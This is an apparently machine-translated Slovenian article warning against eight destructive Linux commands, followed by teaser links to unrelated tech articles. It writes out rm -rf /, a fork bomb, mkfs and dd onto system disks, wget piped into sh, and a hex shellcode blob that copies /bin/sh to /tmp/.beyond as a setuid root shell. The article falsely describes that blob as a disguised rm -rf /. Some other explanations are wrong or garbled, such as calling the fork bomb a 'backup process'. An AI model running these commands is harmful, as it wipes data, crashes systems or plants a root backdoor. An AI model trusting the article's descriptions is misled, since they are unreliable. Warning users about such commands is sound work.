8 smrtonosnih ukazov, ki jih nikoli ne bi smeli izvajati v Linuxu

8 smrtonosnih ukazov, ki jih nikoli ne bi smeli izvajati v Linuxu

Terminalski ukazi v Linuxu so precej destruktivni, če zaženete ukaz, bo uničil vaš sistem. Linux ne zahteva potrditve pri izvajanju katerega koli ukaza.

Če se naučite, kateri ukazi se ne smejo izvajati v Linuxu, pomaga zaščititi vaš sistem pri delu v Linuxu. Spodaj je 8 smrtonosnih ukazov, ki jih nikoli ne smete izvajati v Linuxu.

8 smrtonosnih ukazov, ki jih nikoli ne bi smeli izvajati v Linuxu

1. rm -rf / - izbriši vse

Ukaz rm -rf / bo izbrisal vse, vključno z datotekami na vašem trdem disku in datotekami v predstavnostnih napravah, povezanih z vašim računalnikom.

Za boljše razumevanje tega ukaza ga analizirajte na naslednji način:

  • rm – Izbrišite naslednje datoteke.
  • -rf – zažene rm (izbriše vse datoteke in mape v določeni mapi) in prisilno izbriše vse datoteke, ne da bi vas prej vprašal.
  • / – Pove, da se rm (recimo rm) zažene v korenskem imeniku, vključno z vsemi datotekami v vašem računalniku.

Linux bo z veseljem sledil temu ukazu in izbrisal vse brez opozorila, zato bodite previdni pri uporabi tega ukaza.

Poleg tega se ukaz rm uporablja tudi na zelo nevarne načine. Na primer, rm –rf ~ bo izbrisal vse datoteke v domači mapi, rm -rf .* pa bo izbrisal vse vaše konfiguracijske datoteke.

2. Prikriti ukaz rm –rf /

Tukaj je delček kode po vsem spletu:

char esp[] __atribut__ ((section(".text") /* izdaja esp */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

To je v bistvu druga različica rm –rf / – izvedba tega ukaza bo prav tako izbrisala vse vaše datoteke, tako kot če zaženete rm –rf /.

3. :(){ :|: & };: – Vrsta uspešnice

8 smrtonosnih ukazov, ki jih nikoli ne bi smeli izvajati v Linuxu

Spodnja ukazna vrstica je videti zelo preprosta, vendar je njena funkcija dejansko zelo nevarna:

:(){ :|: & };:

Ta kratek ukaz bo sam ustvaril nove kopije. To pomeni, da bo sam postopek varnostnega kopiranja neprekinjen in bo hitro povzročil, da se vaš CPE in pomnilnik napolnita.

Prav tako lahko povzroči zamrznitev računalnika. V bistvu gre za napad z zavrnitvijo storitve (DoS).

4. mkfs.ext4 /dev/sda1 – Formati trdih diskov

Ukaz mkfs.ext4 /dev/sda1 je precej enostaven za razumevanje:

  • mkfs.ext4 - ustvari datotečni sistem ext4 na naslednji napravi.
  • /dev/sda1 - identificira prvo particijo na prvem trdem disku, ki je morda trdi disk v uporabi.

Združevanje teh dveh ukazov je enakovredno formatiranju pogona C: v sistemu Windows – izbrišite vse datoteke na prvi particiji in jih nadomestite z novim datotečnim sistemom.

Ta ukaz se lahko pojavi v številnih različnih formatih, na primer - mkfs.ext3 /dev/sdb2 bo formatiral drugo particijo na vašem drugem trdem disku z datotečnim sistemom ext3.

5. ukaz > /dev/sda - pisanje neposredno na trdi disk

8 smrtonosnih ukazov, ki jih nikoli ne bi smeli izvajati v Linuxu

Ukazna vrstica > /dev/sda - zaženite ukaz in izpišite rezultat tega ukaza neposredno na vaš prvi trdi disk, zapišite podatke neposredno na trdi disk in uničite vaš datotečni sistem.

  • ukaz – Izvedite ukaz (lahko kateri koli ukaz).
  • > – pošlje izhod ukaza na naslednjo lokacijo.
  • /dev/sda – Zapišite izhod ukaza neposredno na trdi disk.

6. dd if=/dev/random of=/dev/sda – zapiše neumne podatke na trdi disk

Vrstica dd if=/dev/random of=/dev/sda bo izbrisala podatke na enem od vaših trdih diskov.

  • dd – je izvajanje nizkonivojskega kopiranja z ene lokacije na drugo.
  • if=/dev/random – uporabite /dev/random kot vhod – morda boste videli naslove, kot je /dev/zero.
  • of=/dev/sda – izhod na prvi trdi disk, zamenjava datotečnega sistema z naključnimi neumnimi podatki.

7. mv ~ /dev/null – premaknite domači imenik v črno luknjo

/dev/null - premikanje nečesa v /dev/null je enako kot uničenje. Predstavljajte si /dev/null kot črno luknjo. mv ~ /dev/null bo poslal vse vaše osebne datoteke v črno luknjo.

  • mv – premaknite naslednjo datoteko ali mapo na drugo lokacijo.
  • ~ – Vaša celotna domača mapa.
  • /dev/null – premaknite domačo mapo v /dev/null, uničilo bo vse vaše datoteke in izbrisalo originalne kopije.

8. wget http://example.com/something -O – | sh – naloži in zaženi skript

Zgornji ukaz bo prenesel skript iz spleta in poslal skript sh, ki bo izvedel vsebino skripta. To je lahko nevarno, če niste prepričani, kaj je skript, ali če nimate zaupanja vrednega vira skriptov – ne izvajajte nezaupljivih skriptov.

wget – prenesite datoteko.

http://example.com/something – prenesite datoteke s te lokacije.

| – Prenesite (pošljite) izhod ukaza wget (prenesena datoteka različice) neposredno v drug ukaz.

sh – pošlji datoteko v ukaz sh.

Glejte še nekaj spodnjih člankov:

Zabavati se!


Zelena ozadja, lepa zelena ozadja za računalnike in telefone

Zelena ozadja, lepa zelena ozadja za računalnike in telefone

Zelena je tudi tema, ki jo mnogi fotografi in oblikovalci uporabljajo za ustvarjanje kompletov tapet, pri čemer je glavni barvni ton zelena. Spodaj je nabor zelenih ozadij za računalnike in telefone.

Kako najti in odpreti datoteke z ukaznim pozivom

Kako najti in odpreti datoteke z ukaznim pozivom

Ta način iskanja in odpiranja datotek naj bi bil hitrejši od uporabe File Explorerja.

Kaj je Scareware? Kako odstraniti Scareware?

Kaj je Scareware? Kako odstraniti Scareware?

Scareware je zlonamerni računalniški program, zasnovan tako, da uporabnike zavede, da mislijo, da gre za zakonito aplikacijo, in vas prosi, da porabite denar za nekaj, kar ne dela ničesar.

Kako povečati hitrost internetne povezave s cFosSpeed

Kako povečati hitrost internetne povezave s cFosSpeed

cFosSpeed ​​​​je programska oprema, ki poveča hitrost internetne povezave, zmanjša zakasnitev prenosa in poveča moč povezave do približno 3-krat. Predvsem za tiste, ki igrajo spletne igre, bo cFosSpeed ​​​​podprl, tako da lahko izkusite igro brez težav z omrežjem.

Več o požarnih zidovih, požarni zid Windows v sistemu Windows Server 2012

Več o požarnih zidovih, požarni zid Windows v sistemu Windows Server 2012

Požarni zid Windows z napredno varnostjo je požarni zid, ki deluje v sistemu Windows Server 2012 in je privzeto omogočen. Nastavitve požarnega zidu v sistemu Windows Server 2012 se upravljajo v Microsoftovi konzoli za upravljanje požarnega zidu Windows.

Kako spremeniti geslo za prijavo v modem in usmerjevalnik Vigor Draytek

Kako spremeniti geslo za prijavo v modem in usmerjevalnik Vigor Draytek

Pri spreminjanju skrbniškega gesla za prijavo modema in usmerjevalnika Vigor Draytek bodo uporabniki omejili nepooblaščen dostop do spremembe gesla za modem in s tem zavarovali pomembne omrežne informacije.

Kako enostavno pospešiti RAM z AMD Ryzen Master

Kako enostavno pospešiti RAM z AMD Ryzen Master

Na srečo lahko uporabniki računalnikov z operacijskim sistemom Windows s procesorji AMD Ryzen uporabljajo Ryzen Master za enostavno overklokiranje RAM-a, ne da bi se dotaknili BIOS-a.

7 načinov za odpravo napak prenosnika Windows, ki se ne polni prek USB-C

7 načinov za odpravo napak prenosnika Windows, ki se ne polni prek USB-C

Vrata USB-C so postala standard za prenos podatkov, video izhod in polnjenje na sodobnih prenosnikih Windows. Čeprav je to priročno, je lahko frustrirajoče, ko prenosni računalnik priključite na polnilnik USB-C in se ne polni.

Kako odpraviti napako Cannot Create Service v Ultraviewerju

Kako odpraviti napako Cannot Create Service v Ultraviewerju

Napaka Cannot Create Service na Ultraviewerju se pojavi, ko namestimo programsko opremo s kodo napake 1072.

Kako odpraviti napako, da ID ni prikazan na Ultraviewerju

Kako odpraviti napako, da ID ni prikazan na Ultraviewerju

Napaka, da ID na Ultraviewerju ni prikazan, bo vplivala na povezavo z oddaljenim računalnikom.